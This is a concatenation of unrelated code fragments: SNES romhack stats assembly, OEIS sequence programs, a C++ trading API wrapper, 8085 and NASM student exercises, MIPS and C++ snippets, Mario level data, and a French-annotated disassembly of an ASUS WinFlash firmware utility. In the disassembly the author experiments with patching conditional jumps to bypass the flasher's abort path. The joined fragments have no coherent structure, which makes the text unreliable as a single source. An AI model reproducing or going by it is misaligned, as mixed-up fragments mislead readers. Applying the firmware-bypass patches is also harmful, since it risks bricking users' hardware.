STA !SPENT_RUPEES + PLP : PLA RTL ;-------------------------------------------------------------------------------- IndoorTileTransitionCounter: JMP StatTransitionCounter ;-------------------------------------------------------------------------------- !REDRAW = "$7F5000" IndoorSubtileTransitionCounter: LDA.b #$01 : STA !REDRAW ; set redraw flag for items STZ $0646 ; stuff we wrote over STZ $0642 JMP StatTransitionCounter ;-------------------------------------------------------------------------------- !CHEST_COUNTER = "$7EF442" !MAIL_COUNTER = "$7EF424" ; mmkkkkkk !BOSS_KILLS = "$7F5037" !SWORD_KILLS_1 = "$7EF425" !SWORD_KILLS_2 = "$7EF426" !GTOWER_PRE_BIG_KEY = "$7EF42A" ; ---ccccc !NONCHEST_COUNTER = "$7F503E" !SAVE_COUNTER = "$7EF42D" !TRANSITION_COUNTER = "$7EF43C" !NMI_COUNTER = "$7EF43E" !LOOP_COUNTER = "$7EF42E" !LAG_TIME = "$7F5038" !RUPEES_COLLECTED = "$7F503C" !ITEM_TOTAL = "$7EF423" !RTA_END = "$7EF44F" StatsFinalPrep: PHA : PHX : PHP SEP #$30 ; set 8-bit accumulator and index registers LDA !LOCK_STATS : BNE .ramPostOnly INC : STA !LOCK_STATS JSL.l AddInventory_incrementBossSwordLong LDA !MAIL_COUNTER : !ADD #$40 : STA !MAIL_COUNTER ; add green mail to mail count ;LDA !GTOWER_PRE_BIG_KEY : DEC : AND #$1F : TAX ;LDA !GTOWER_PRE_BIG_KEY : AND #$E0 : STA !GTOWER_PRE_BIG_KEY ;TXA : ORA !GTOWER_PRE_BIG_KEY : STA !GTOWER_PRE_BIG_KEY LDA !TRANSITION_COUNTER : DEC : STA !TRANSITION_COUNTER ; remove extra transition from exiting gtower via duck .ramPostOnly LDA !SWORD_KILLS_1 : LSR #4 : !ADD !SWORD_KILLS_1 : STA !BOSS_KILLS LDA !SWORD_KILLS_2 : LSR #4 : !ADD !SWORD_KILLS_2 : !ADD !BOSS_KILLS : AND #$0F : STA !BOSS_KILLS LDA !NMI_COUNTER : !SUB !LOOP_COUNTER : STA !LAG_TIME LDA !NMI_COUNTER+1 : SBC !LOOP_COUNTER+1 : STA !LAG_TIME+1 LDA !NMI_COUNTER+2 : SBC !LOOP_COUNTER+2 : STA !LAG_TIME+2 LDA !NMI_COUNTER+3 : SBC !LOOP_COUNTER+3 : STA !LAG_TIME+3 LDA !SPENT_RUPEES : !ADD $7EF362 : STA !RUPEES_COLLECTED LDA !SPENT_RUPEES+1 : ADC $7EF363 : STA !RUPEES_COLLECTED+1 LDA !ITEM_TOTAL : !SUB !CHEST_COUNTER : STA !NONCHEST_COUNTER ;LDA $FFFFFF ;JSL.l Clock_IsSupported ;BRA + ; REP #$20 ; set 16-bit accumulator ; ; LDA $00 : PHA ; LDA $02 : PHA ; ; JSL.l Clock_QuickStamp ; LDA $00 : STA !RTA_END ; LDA $02 : STA !RTA_END+2 ; ; PLA : STA $02 ; PLA : STA $00 ;+ .done PLP : PLX : PLA LDA.b #$19 : STA $10 ; thing we wrote over, load triforce room STZ $11 STZ $B0 RTL ;-------------------------------------------------------------------------------- ; Notes: ; s&q counter ;================================================================================
; A064718: A Beatty sequence for 2^i + 2^-i where i = sqrt(-1). ; 2,5,8,11,14,17,19,22,25,28,31,34,37,39,42,45,48,51,54,57,59,62,65,68,71,74,77,79,82,85,88,91,94,97,99,102,105,108,111,114,117,119,122,125,128,131,134,137,139,142,145,148,151,154,157,159,162,165,168,171,174,177,179,182,185,188,191,194,197,199,202,205,208,211,214,217,219,222,225,228,231,234,237,239,242,245,248,251,254,257,259,262,265,268,271,274,277,279,282,285,288,291,294,297,299,302,305,308,311,314,317,319,322,325,328,331,334,337,339,342,345,348,351,354,357,359,362,365,368,371,374,377,379,382,385,388,391,394,397,399,402,405,408,411,414,417,419,422,425,428,431,434,437,439,442,445,448,451,454,457,459,462,465,468,471,474,477,479,482,485,488,491,494,497,499,502,505,508,511,514,517,519,522,525,528,531,534,537,539,542,545,548,551,554,557,559,562,565,568,571,574,577,579,582,585,588,591,594,597,599,602,605,608,611,614,617,619,622,625,628,631,634,637,639,642,645,648,651,654,657,659,662,665,668,671,674,677,679,682,685,688,691,694,697,699,702,705,708,711,714 mul $0,20 mov $1,$0 add $1,19 div $1,7
#include "stdafx.h" #include "../../include/ApiHeader.h" #include "../../include/QueueEnum.h" #include "TraderApi.h" inline CTraderApi* GetApi(void* pApi) { return static_cast<CTraderApi*>(pApi); } void* __stdcall XRequest(char type, void* pApi1, void* pApi2, double double1, double double2, void* ptr1, int size1, void* ptr2, int size2, void* ptr3, int size3) { RequestType rt = (RequestType)type; switch (rt) { case RequestType_GetApiTypes: return (void*)(ApiType::ApiType_Trade| ApiType::ApiType_Query); case RequestType_GetApiVersion: return (void*)"0.1.0.20210808"; case RequestType_GetApiName: return (void*)"Tap"; case RequestType_Create: return new CTraderApi(); default: break; } if (pApi1 == nullptr) { return nullptr; } CTraderApi* pApi = GetApi(pApi1); switch (rt) { case RequestType_Release: delete pApi; return nullptr; case RequestType_Register: pApi->Register(ptr1, ptr2); break; case RequestType_Connect: pApi->Connect((const char*)ptr1, (const char*)ptr2, (const char*)ptr3); break; case RequestType_Disconnect: pApi->Disconnect(); break; case RequestType::RequestType_GetStatus: return (void*)pApi->GetStatus(); case QueryType_ReqQryOrder: case QueryType_ReqQryTrade: case QueryType_ReqQryInvestorPosition: case QueryType_ReqQryTradingAccount: case QueryType_ReqQryInvestor: case QueryType_ReqQryInstrument: // 由外部调用的查询 pApi->ReqQuery((QueryType)type, (ReqQueryField*)ptr1); break; case RequestType_ReqOrderInsert: return (void*)pApi->ReqOrderInsert((OrderField*)ptr1, size1, (char*)ptr2); case RequestType_ReqOrderAction: return (void*)pApi->ReqOrderAction((OrderIDType*)ptr1, size1, (char*)ptr2); default: break; } return pApi1; }
; The idea of this program is to find out the position of the first one. ; We start the counter from 8 and decreasing every time until the position ; is found. When found, we jump to FOUND label where we do exactly ; B RALS. I.E if B is equal to 0 then 0 RALS are done, if B is 7, 7 RALS ; are done. Each time a RAL is done then we decrease B by one and continue ; until B reaches zero, and we go to PRINT label where we print the ; output to the leds. Note that every time we complement carry, cause ; if not carry will keep coming from MSB to LSB. IN 10H START: MVI B,08H ; Counter LDA 2000H ; Reading from dip switches. FIRST_ONE: DCR B ; Decrease counter by one RAL ; Bringing MSB to Carry flag JC FOUND ; First one found MOV L,A ; saving A to L MOV A,B ; move B to A so we make CPI 00H ; a comparison if B reached 0 JZ PRINT ; no more digits to check MOV A,L ; return the value of A JMP FIRST_ONE ; continue the process. FOUND: MVI A,FFH ; Filling A with ones LOOP_A: MOV L,A ; saving A to L MOV A,B ; move B to A so we make CPI 00H ; a comparison if B reached 0 JZ PRINT ; If its equal to zero then print MOV A,L ; else moving back A from L and cont STC ; Making sure Carry is eq to 1 CMC ; Complementing Carry RAL ; moving MSB to carry DCR B ; Decreasing B each time JMP LOOP_A ; jumping to loop until B == 0 PRINT: MOV A,L ; Moving back A from L CMA ; and get the complement so as STA 3000H ; we print the right value to the leds. JMP START ; Jumping back to start.Wait for input END
; Elizabeth Wanic ; 5 February 2017 ; CS 3140 - Assignment 3 Part 1 ; Command line for assembly : ; nasm -f elf32 -g assign3_part1.asm ; Command line for linker : ; ld -o assign3_part1 -m elf_i386 assign3_part1.o ; ; User must enter ./assign3_part1 to run the program ; Then they will enter a series of characters followed by ; a carriage return ; bits 32 section .text ; section declaration global _start _start: mov eax, 0x03 ; 3 is sys call for read mov ebx, 0x00 ; fd for stdin is 0 mov ecx, inbuff ; pointer to inbuff mov edx, 200 ; read 200 bytes maximum int 0x80 ; execute read sys call mov dword [incount], 0x00 ; set index for inbuff to 0 mov dword [outcount], 0x00 ; set index for outbuff to 0 inbuff_loop_left: mov ecx, [incount] ; move inbuff index to ecx cmp ecx, 200 ; check if incount is 200 je write_output ; jump to write_output if at 200 chars movzx eax, byte [inbuff + ecx] ; move through inbuff one char at a time cmp eax, 0x0A ; check for the new line je write_output ; jump to write_output if new line mov [temp], al ; else, save that char in temp shr al, 4 ; get left half of byte mov bl, 9 ; put 9 in bl cmp al, bl ; check if left half of byte is digit jle write_digit_left ; jump to write it in outbuff if digit mov bl, 10 ; put 10 in bl cmp al, bl ; check if left half of byte is letter jge write_letter_left ; jump to write it in outbuff if letter write_digit_left: mov ecx, [outcount] ; move outbuff index to ecx add al, 48 ; add 48 to the value in al mov [outbuff + ecx], al ; put ASCII code for digit in outbuff mov ecx, [outcount] ; current outcount value inc ecx ; increment outcount mov [outcount], ecx ; return value to outcount jmp inbuff_loop_right ; jump to deal with right half write_letter_left: mov ecx, [outcount] ; move outbuff index to ecx add al, 55 ; add 55 to the value in al mov [outbuff + ecx], al ; put ASCII code for letter in outbuff mov ecx, [outcount] ; current outcount value inc ecx ; increment outcount mov [outcount], ecx ; return value to outcount jmp inbuff_loop_right ; jump to deal with right half inbuff_loop_right: mov ecx, [incount] ; current incount value inc ecx ; increment incount mov [incount], ecx ; return value to incount movzx eax, byte [temp] ; old char value into eax and al, 0x0F ; and with 15 to get only second half mov bl, 9 ; put 9 in bl cmp al, bl ; check if second half of byte is digit jle write_digit_right ; jump to write it in outbuff if digit mov bl, 10 ; put 10 in bl cmp al, bl ; check if second half of byte is letter jge write_letter_right ; jump to write it in outbuff if letter write_digit_right: mov ecx, [outcount] ; move outbuff index to ecx add al, 48 ; add 48 to the value in al mov [outbuff + ecx], al ; put ASCII code for digit in outbuff mov ecx, [outcount] ; current outcount value inc ecx ; increment outcount mov [outbuff + ecx], byte 32 ; next outbuff item is space inc ecx ; increment outcount mov [outcount], ecx ; return value to outcount jmp inbuff_loop_left ; jump deal with to next char write_letter_right: mov ecx, [outcount] ; move outbuff index to ecx add al, 55 ; add 31 to the value in al mov [outbuff + ecx], al ; put ASCII code for letter in outbuff mov ecx, [outcount] ; current outcount value inc ecx ; increment outcount mov [outbuff + ecx], byte 32 ; next outbuff item is space inc ecx ; increment outcount mov [outcount], ecx ; return value to outcount jmp inbuff_loop_left ; jump to deal with next char write_output: mov ecx, [outcount] ; put outbuff index in ecx mov [outbuff + ecx], byte 48 ; add the new line chars inc ecx ; increment outcount mov [outbuff + ecx], byte 65 ; add the new line chars inc ecx ; increment outcount mov [outbuff + ecx], byte 32 ; add the space inc ecx ; increment outcount mov [outcount], ecx ; return value to outcount mov ecx, [outcount] ; put outbuff index in ecx mov [outbuff + ecx], byte 0x0A ; write a newline for last outbuff position inc ecx ; increment outcount mov [outcount], ecx ; return value to outcount mov eax, 0x04 ; 4 sys call for write mov ebx, 0x01 ; fd for stdout is 1 mov ecx, outbuff ; pointer to outbuff mov edx, [outcount] ; write [outcount] bytes at most int 0x80 ; execute write sys call done: mov eax, 0x01 ; 1 is sys call for exit int 0x80 ; execute exit sys call section .data ; section declaration section .bss ; section declaration outbuff: resb 600 ; outbuff needs 600 bytes max temp: resb 1 ; need to store the char temporarily inbuff: resb 200 ; inbuff needs 200 bytes max incount: resd 1 ; index for inbuff outcount: resd 1 ; index for outbuff
copyright zengfr site:http://github.com/zengfr/romhack 03B89C move.b D0, ($b5,A6) [enemy+72] 03B8A0 jsr $32032.l 03BBCE subq.b #1, ($b5,A6) 03BBD2 bne $3bbe6 [enemy+B5] 03BBD4 move.b #$c8, ($b5,A6) 03BBDA btst #$7, ($50,A6) [enemy+B5] 042C12 move.b D0, ($b5,A6) 042C16 bsr $444e8 0447FC tst.b ($b5,A6) [enemy+8A] 044800 bne $4480a 044BF0 tst.b ($b5,A6) [enemy+8A] 044BF4 bne $44bfe 044C66 tst.b ($b5,A6) 044C6A beq $44c78 copyright zengfr site:http://github.com/zengfr/romhack
org $8000 include utils.asm include bouncingball.asm main: call bouncingball di halt end main
; A197602: Floor((n+1/n)^3). ; 8,15,37,76,140,234,364,536,756,1030,1364,1764,2236,2786,3420,4144,4964,5886,6916,8060,9324,10714,12236,13896,15700,17654,19764,22036,24476,27090,29884,32864,36036,39406,42980,46764,50764,54986,59436,64120,69044,74214,79636,85316,91260,97474,103964,110736,117796,125150,132804,140764,149036,157626,166540,175784,185364,195286,205556,216180,227164,238514,250236,262336,274820,287694,300964,314636,328716,343210,358124,373464,389236,405446,422100,439204,456764,474786,493276,512240,531684,551614,572036 mov $1,4 pow $2,$0 gcd $2,2 add $2,$0 div $1,$2 add $1,4 mov $3,$0 mul $3,6 add $1,$3 mov $4,$0 mul $4,$0 mov $3,$4 mul $3,3 add $1,$3 mul $4,$0 add $1,$4 mov $0,$1
;1st theory ;L0040157E cause the give up of flashing ;Remplace jnz to jo in order to skip the give up.. ;jo = 0x70 ;jnz = 0x75 ;Theory invalid.. 25/10/2014 .. cause = Unable to duplicate ROM (temps var) ;1. L0040152E ;La fonction qui commence la procédure 0040152E L0040152E: 0040152E 8B45F8 mov eax,[ebp-08h] 00401531 8B88F0040000 mov ecx,[eax+000004F0h] 00401537 83E102 and ecx,00000002h 0040153A 83F902 cmp ecx,00000002h 0040153D 753F jnz L0040157E ;1st occ -- somekind of memory handle 0040153F 6A50 push 00000050h 00401541 8D9540FFFFFF lea edx,[ebp-000000C0h] 00401547 52 push edx 00401548 6AFF push FFFFFFFFh 0040154A 8B45F8 mov eax,[ebp-08h] 0040154D 0540020000 add eax,00000240h 00401552 50 push eax 00401553 6A00 push 00000000h 00401555 6A00 push 00000000h 00401557 FF15E4324200 call [KERNEL32.dll!MultiByteToWideChar] 0040155D 8D8D40FFFFFF lea ecx,[ebp-000000C0h] 00401563 51 push ecx 00401564 8B55F8 mov edx,[ebp-08h] 00401567 83C264 add edx,00000064h 0040156A 52 push edx 0040156B 8B4DF8 mov ecx,[ebp-08h] 0040156E E82A660000 call SUB_L00407B9D 00401573 85C0 test eax,eax 00401575 7507 jnz L0040157E ;2nd occ 00401577 C745E02D010000 mov dword ptr [ebp-20h],0000012Dh ;Après le call SUB_L00407B9D 0040157E L0040157E: 0040157E 8B45E0 mov eax,[ebp-20h] 00401581 50 push eax 00401582 8B4DF8 mov ecx,[ebp-08h] 00401585 E88D440000 call SUB_L00405A17 ;Part trop loin.. impossible de savoir de quoi il s'agit -_-" !! 0040158A 6A01 push 00000001h 0040158C 8B4DF8 mov ecx,[ebp-08h] 0040158F 81C1E8020000 add ecx,000002E8h 00401595 E896930100 call SUB_L0041A930 0040159A 8B4DF8 mov ecx,[ebp-08h] 0040159D C7818402000001000000 mov dword ptr [ecx+00000284h],00000001h 004015A7 33C0 xor eax,eax 004015A9 E917050000 jmp L00401AC5 ;2. Appel d'un SUB_ ;Utilité inconnu. 00407B9D SUB_L00407B9D: 00407B9D 55 push ebp 00407B9E 8BEC mov ebp,esp 00407BA0 81EC24040000 sub esp,00000424h 00407BA6 57 push edi 00407BA7 898DDCFBFFFF mov [ebp-00000424h],ecx 00407BAD C745F000000000 mov dword ptr [ebp-10h],00000000h 00407BB4 EB09 jmp L00407BBF ;Procédure de copie?? 00407BBF L00407BBF: 00407BBF 837DF014 cmp dword ptr [ebp-10h],00000014h 00407BC3 7D21 jge L00407BE6 ;On test avec force EB.. (jmp) --> Aucun effet, shutdown sans effet 00407BC5 8B4DF0 mov ecx,[ebp-10h] 00407BC8 8B550C mov edx,[ebp+0Ch] 00407BCB 33C0 xor eax,eax 00407BCD 668B044A mov ax,[edx+ecx*2] 00407BD1 83F820 cmp eax,00000020h 00407BD4 750E jnz L00407BE4 ;On essaie de virer celui là --> 77 aucun effet, on tente avec EB --> Aucun effet 00407BD6 8B4DF0 mov ecx,[ebp-10h] 00407BD9 8B550C mov edx,[ebp+0Ch] 00407BDC 66C7044A0000 mov word ptr [edx+ecx*2],0000h 00407BE2 EB02 jmp L00407BE6 ;Procédure de copie (2) ?? 00407BE6 L00407BE6: 00407BE6 C745F400000000 mov dword ptr [ebp-0Ch],00000000h 00407BED C745F8FFFFFFFF mov dword ptr [ebp-08h],FFFFFFFFh 00407BF4 C745FCFFFFFFFF mov dword ptr [ebp-04h],FFFFFFFFh 00407BFB 8D45FC lea eax,[ebp-04h] 00407BFE 50 push eax 00407BFF 8D4DF8 lea ecx,[ebp-08h] 00407C02 51 push ecx 00407C03 E8180D0000 call SUB_L00408920 00407C08 83C408 add esp,00000008h 00407C0B 83F801 cmp eax,00000001h 00407C0E 0F853D010000 jnz L00407D51 00407C14 66C785E8FDFFFF0000 mov word ptr [ebp-00000218h],0000h 00407C1D B981000000 mov ecx,00000081h 00407C22 33C0 xor eax,eax 00407C24 8DBDEAFDFFFF lea edi,[ebp-00000216h] 00407C2A F3AB rep stosd 00407C2C 66AB stosw 00407C2E 8D95E8FDFFFF lea edx,[ebp-00000218h] 00407C34 52 push edx 00407C35 6804010000 push 00000104h 00407C3A FF15B4324200 call [KERNEL32.dll!GetTempPathW] 00407C40 85C0 test eax,eax 00407C42 0F8409010000 jz L00407D51 00407C48 680CA84200 push SWC0042A80C_WinFlash_79e57031_8122_4301_85fc 00407C4D 8D85E8FDFFFF lea eax,[ebp-00000218h] 00407C53 50 push eax 00407C54 FF15B8324200 call [KERNEL32.dll!lstrcatW] 00407C5A 6A00 push 00000000h 00407C5C 8D8DE8FDFFFF lea ecx,[ebp-00000218h] 00407C62 51 push ecx 00407C63 FF15BC324200 call [KERNEL32.dll!CreateDirectoryW] 00407C69 83F801 cmp eax,00000001h 00407C6C 0F85DF000000 jnz L00407D51 00407C72 8D95E8FDFFFF lea edx,[ebp-00000218h] 00407C78 52 push edx 00407C79 8B45FC mov eax,[ebp-04h] 00407C7C 50 push eax 00407C7D 8B4DF8 mov ecx,[ebp-08h] 00407C80 51 push ecx 00407C81 E89D0E0000 call SUB_L00408B23 00407C86 83C40C add esp,0000000Ch 00407C89 85C0 test eax,eax 00407C8B 0F84B3000000 jz L00407D44 ;Remove directory.. Si deja existant. (Hypothese) 00407C91 66C785E0FBFFFF0000 mov word ptr [ebp-00000420h],0000h 00407C9A B981000000 mov ecx,00000081h 00407C9F 33C0 xor eax,eax 00407CA1 8DBDE2FBFFFF lea edi,[ebp-0000041Eh] 00407CA7 F3AB rep stosd 00407CA9 66AB stosw 00407CAB 6868A84200 push SWC0042A868_EFI_ASUS_FIRMWARE 00407CB0 8D95E8FDFFFF lea edx,[ebp-00000218h] 00407CB6 52 push edx 00407CB7 688CA84200 push SWC0042A88C__s__s 00407CBC 8D85E0FBFFFF lea eax,[ebp-00000420h] 00407CC2 50 push eax 00407CC3 E8CF660000 call SUB_L0040E397 00407CC8 83C410 add esp,00000010h 00407CCB 6A00 push 00000000h 00407CCD 8D8DE0FBFFFF lea ecx,[ebp-00000420h] 00407CD3 51 push ecx 00407CD4 FF15BC324200 call [KERNEL32.dll!CreateDirectoryW] 00407CDA 8B550C mov edx,[ebp+0Ch] 00407CDD 52 push edx 00407CDE 6898A84200 push SWC0042A898_EFI_ASUS_FIRMWARE 00407CE3 8D85E8FDFFFF lea eax,[ebp-00000218h] 00407CE9 50 push eax 00407CEA 68BCA84200 push SWC0042A8BC__s__s__s_BIN 00407CEF 8D8DE0FBFFFF lea ecx,[ebp-00000420h] 00407CF5 51 push ecx 00407CF6 E89C660000 call SUB_L0040E397 00407CFB 83C414 add esp,00000014h 00407CFE 6880000000 push 00000080h 00407D03 8D95E0FBFFFF lea edx,[ebp-00000420h] 00407D09 52 push edx 00407D0A FF15C0324200 call [KERNEL32.dll!SetFileAttributesW] 00407D10 6A00 push 00000000h 00407D12 8D85E0FBFFFF lea eax,[ebp-00000420h] 00407D18 50 push eax 00407D19 8B4D08 mov ecx,[ebp+08h] 00407D1C 51 push ecx 00407D1D FF15C4324200 call [KERNEL32.dll!CopyFileW] 00407D23 8945F4 mov [ebp-0Ch],eax 00407D26 6A03 push 00000003h 00407D28 8D95E0FBFFFF lea edx,[ebp-00000420h] 00407D2E 52 push edx 00407D2F FF15C0324200 call [KERNEL32.dll!SetFileAttributesW] 00407D35 8D85E8FDFFFF lea eax,[ebp-00000218h] 00407D3B 50 push eax 00407D3C E853110000 call SUB_L00408E94 00407D41 83C404 add esp,00000004h ;Vers SUB_L00408E94 00408E94 SUB_L00408E94: 00408E94 55 push ebp 00408E95 8BEC mov ebp,esp 00408E97 83EC28 sub esp,00000028h 00408E9A 57 push edi 00408E9B C745FCFFFFFFFF mov dword ptr [ebp-04h],FFFFFFFFh 00408EA2 8B4508 mov eax,[ebp+08h] 00408EA5 50 push eax 00408EA6 FF1580324200 call [KERNEL32.dll!GetFileAttributesW] 00408EAC 8945F8 mov [ebp-08h],eax 00408EAF 8B4DF8 mov ecx,[ebp-08h] 00408EB2 81E100040000 and ecx,00000400h 00408EB8 81F900040000 cmp ecx,00000400h 00408EBE 756F jnz L00408F2F ;Aucun effet avec jmp 00408EC0 6A00 push 00000000h 00408EC2 6800002002 push 02200000h 00408EC7 6A03 push 00000003h 00408EC9 6A00 push 00000000h 00408ECB 6A04 push 00000004h 00408ECD 68400000C0 push C0000040h 00408ED2 8B5508 mov edx,[ebp+08h] 00408ED5 52 push edx 00408ED6 FF15FC324200 call [KERNEL32.dll!CreateFileW] 00408EDC 8945FC mov [ebp-04h],eax 00408EDF 837DFCFF cmp dword ptr [ebp-04h],FFFFFFFFh 00408EE3 744A jz L00408F2F 00408EE5 C745D800000000 mov dword ptr [ebp-28h],00000000h 00408EEC B906000000 mov ecx,00000006h 00408EF1 33C0 xor eax,eax 00408EF3 8D7DDC lea edi,[ebp-24h] 00408EF6 F3AB rep stosd 00408EF8 C745D8030000A0 mov dword ptr [ebp-28h],A0000003h 00408EFF C745F400000000 mov dword ptr [ebp-0Ch],00000000h 00408F06 6A00 push 00000000h 00408F08 8D45F4 lea eax,[ebp-0Ch] 00408F0B 50 push eax 00408F0C 6A00 push 00000000h 00408F0E 6A00 push 00000000h 00408F10 6A18 push 00000018h 00408F12 8D4DD8 lea ecx,[ebp-28h] 00408F15 51 push ecx 00408F16 68AC000900 push 000900ACh 00408F1B 8B55FC mov edx,[ebp-04h] 00408F1E 52 push edx 00408F1F FF15F4324200 call [KERNEL32.dll!DeviceIoControl] 00408F25 8B45FC mov eax,[ebp-04h] 00408F28 50 push eax 00408F29 FF15F8324200 call [KERNEL32.dll!CloseHandle]
#include <iostream> #include <cstdio> using namespace std; int main() { printf("Hello, World!"); return 0; }
ori $s0, 4 jal tag addu $t0, $ra, $ra ori $t0, $0, 1 tag: addu $t1, $ra, $s0 addu $t2, $ra, $s0 addu $t3, $ra, $s0 jal tag2 addu $t4, $s0, $ra ori $t0, $0, 1 tag2: addu $t4, $s0, $ra addu $t5, $s0, $ra addu $t6, $s0, $ra addu $t7, $s0, $ra
#include<iostream> #include<vector> #include<string> #include<algorithm> int main() { std::vector<int> a{1,2,3,4,5}; auto b=a; //just making a copy for play //The "old" way- iterators and normal for loop for (auto it = begin(b); it != end(b); ++it) *it=0; //A better way: the ranged for: for (auto &i:b) //ahhhh...it has to be reference if you want to change elements in b - otherwise it just changes its //own copy of the elements of b, and does nothing to our actual elements of b! Yes of course, this is just your standard pass by ref vs pass by value, but it did //NOT click with me until Kate mentioned it! Note this is _probably_ why the lambdas take in & when it is required to change the real value i =1; //using for_each: std::for_each(begin(b),end(b),[](auto& i){i=2;}); //Need the reference to change elements of b, not just a local copy (which would happen with pass by value) //In these cases, when the entire collection is being used, Kate thinks just ranged for is the best, however where for_each is good for is in cases where //you are NOT searching the entire collection, like: b=a; auto firstThree = std::find(begin(b),end(b),3); std::for_each(firstThree, end(b), [](auto& i){i=0;}); return 0; }
; A255138: a(n) = (1 + 2^n*(3 + 2*(-1)^n))/3. ; Submitted by Jamie Morken(s2) ; 2,1,7,3,27,11,107,43,427,171,1707,683,6827,2731,27307,10923,109227,43691,436907,174763,1747627,699051,6990507,2796203,27962027,11184811,111848107,44739243,447392427,178956971 mov $2,-2 pow $2,$0 gcd $1,$2 add $2,$1 add $1,$2 add $2,$1 mov $0,$2 div $0,3 add $0,1
; A010638: Decimal expansion of cube root of 68. ; Submitted by Christian Krause ; 4,0,8,1,6,5,5,1,0,1,9,1,7,3,4,8,0,7,0,5,6,5,7,8,1,6,1,3,2,2,6,0,4,2,9,6,5,2,0,7,2,7,6,5,8,2,4,5,3,4,3,8,9,5,5,2,0,9,3,3,9,4,0,1,3,0,2,6,5,2,7,2,8,2,2,3,3,5,6,9,6,4,4,6,3,8,1,1,3,0,9,8,7,5,0,9,9,3,3,3 mov $3,$0 mul $3,2 lpb $3 add $6,$2 add $1,$6 add $1,$2 add $1,64 mov $2,$1 mul $2,16 sub $3,1 add $5,$2 add $6,$5 lpe mov $1,$5 mov $4,10 pow $4,$0 mul $4,4 div $2,$4 add $2,1 div $1,$2 mov $0,$1 add $0,$4 mod $0,10
; A111384: a(n) = binomial(n,3) - binomial(floor(n/2),3) - binomial(ceiling(n/2),3). ; 0,0,0,1,4,9,18,30,48,70,100,135,180,231,294,364,448,540,648,765,900,1045,1210,1386,1584,1794,2028,2275,2548,2835,3150,3480,3840,4216,4624,5049,5508,5985,6498,7030,7600,8190,8820,9471,10164,10879,11638,12420,13248,14100,15000,15925,16900,17901,18954,20034,21168,22330,23548,24795,26100,27435,28830,30256,31744,33264,34848,36465,38148,39865,41650,43470,45360,47286,49284,51319,53428,55575,57798,60060,62400,64780,67240,69741,72324,74949,77658,80410,83248,86130,89100,92115,95220,98371,101614,104904,108288,111720,115248,118825,122500,126225,130050,133926,137904,141934,146068,150255,154548,158895,163350,167860,172480,177156,181944,186789,191748,196765,201898,207090,212400,217770,223260,228811,234484,240219,246078,252000,258048,264160,270400,276705,283140,289641,296274,302974,309808,316710,323748,330855,338100,345415,352870,360396,368064,375804,383688,391645,399748,407925,416250,424650,433200,441826,450604,459459,468468,477555,486798,496120,505600,515160,524880,534681,544644,554689,564898,575190,585648,596190,606900,617695,628660,639711,650934,662244,673728,685300,697048,708885,720900,733005,745290,757666,770224,782874,795708,808635,821748,834955,848350,861840,875520,889296,903264,917329,931588,945945,960498,975150,990000,1004950,1020100,1035351,1050804,1066359,1082118,1097980,1114048,1130220,1146600,1163085,1179780,1196581,1213594,1230714,1248048,1265490,1283148,1300915,1318900,1336995,1355310,1373736,1392384,1411144,1430128,1449225,1468548,1487985,1507650,1527430,1547440,1567566,1587924,1608399,1629108,1649935,1670998,1692180,1713600,1735140,1756920,1778821,1800964,1823229,1845738,1868370,1891248,1914250 mov $1,$0 sub $0,2 pow $1,2 div $1,4 mul $1,$0 div $1,2
; A110414: n! concatenated with n divided by n. ; Submitted by Jon Maiga ; 11,11,21,61,241,1201,7201,50401,403201,36288001,362880001,3991680001,47900160001,622702080001,8717829120001,130767436800001,2092278988800001,35568742809600001,640237370572800001 lpb $0 add $2,9 sub $0,$2 lpe add $0,$2 mov $1,$2 add $1,1 lpb $0 mul $1,$0 sub $0,1 lpe mov $0,$1 mul $0,10 add $0,1
.word $BD33 ; Alternate level layout .word $C55B ; Alternate object layout .byte LEVEL1_SIZE_08 | LEVEL1_YSTART_140 .byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 | LEVEL2_UNUSEDFLAG .byte LEVEL3_TILESET_01 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT .byte LEVEL4_BGBANK_INDEX(19) | LEVEL4_INITACT_NOTHING .byte LEVEL5_BGM_ATHLETIC | LEVEL5_TIME_300 .byte $40, $00, $0E, $56, $00, $B2, $07, $52, $06, $B3, $01, $95, $02, $D2, $53, $0A .byte $0B, $56, $0A, $B3, $03, $56, $0F, $B2, $06, $2B, $0F, $40, $35, $0F, $0C, $4E .byte $10, $01, $95, $10, $D2, $55, $18, $B3, $01, $AD, $1B, $32, $51, $1E, $B8, $02 .byte $35, $15, $10, $2E, $1F, $0A, $4F, $1F, $E0, $50, $1F, $E0, $52, $25, $B7, $01 .byte $54, $29, $B5, $00, $AF, $27, $32, $56, $2E, $B3, $03, $33, $2F, $82, $54, $22 .byte $B0, $00, $35, $30, $0B, $36, $34, $10, $57, $34, $B2, $05, $54, $35, $0B, $32 .byte $36, $82, $2C, $39, $40, $36, $39, $0C, $B0, $3A, $32, $57, $3C, $B2, $03, $33 .byte $3D, $82, $36, $3D, $31, $2F, $37, $81, $57, $42, $B3, $03, $2C, $43, $40, $34 .byte $43, $0C, $96, $43, $D2, $AB, $46, $32, $53, $48, $0A, $57, $48, $B2, $04, $55 .byte $4D, $B4, $02, $2F, $41, $81, $2F, $44, $81, $AD, $50, $32, $51, $52, $B8, $01 .byte $4E, $57, $B2, $03, $4E, $5B, $B0, $01, $51, $57, $B1, $00, $56, $57, $B2, $02 .byte $55, $5A, $B3, $09, $8D, $58, $D1, $32, $59, $82, $4E, $5D, $B2, $02, $94, $5D .byte $D4, $32, $5F, $82, $4F, $60, $B1, $0A, $32, $63, $82, $8E, $64, $D3, $56, $64 .byte $B3, $05, $54, $66, $08, $32, $67, $82, $4F, $6A, $B2, $01, $33, $6A, $80, $55 .byte $6A, $B4, $01, $31, $6B, $13, $53, $6C, $B6, $03, $2C, $69, $0B, $2D, $69, $10 .byte $2E, $69, $10, $55, $64, $B0, $05, $51, $70, $B8, $0F, $4E, $71, $0B, $4D, $75 .byte $0A, $AA, $78, $32, $2F, $7B, $E2, $40, $7E, $BF, $01, $50, $7E, $B6, $01, $E7 .byte $53, $30, $59, $00, $81, $80, $FF
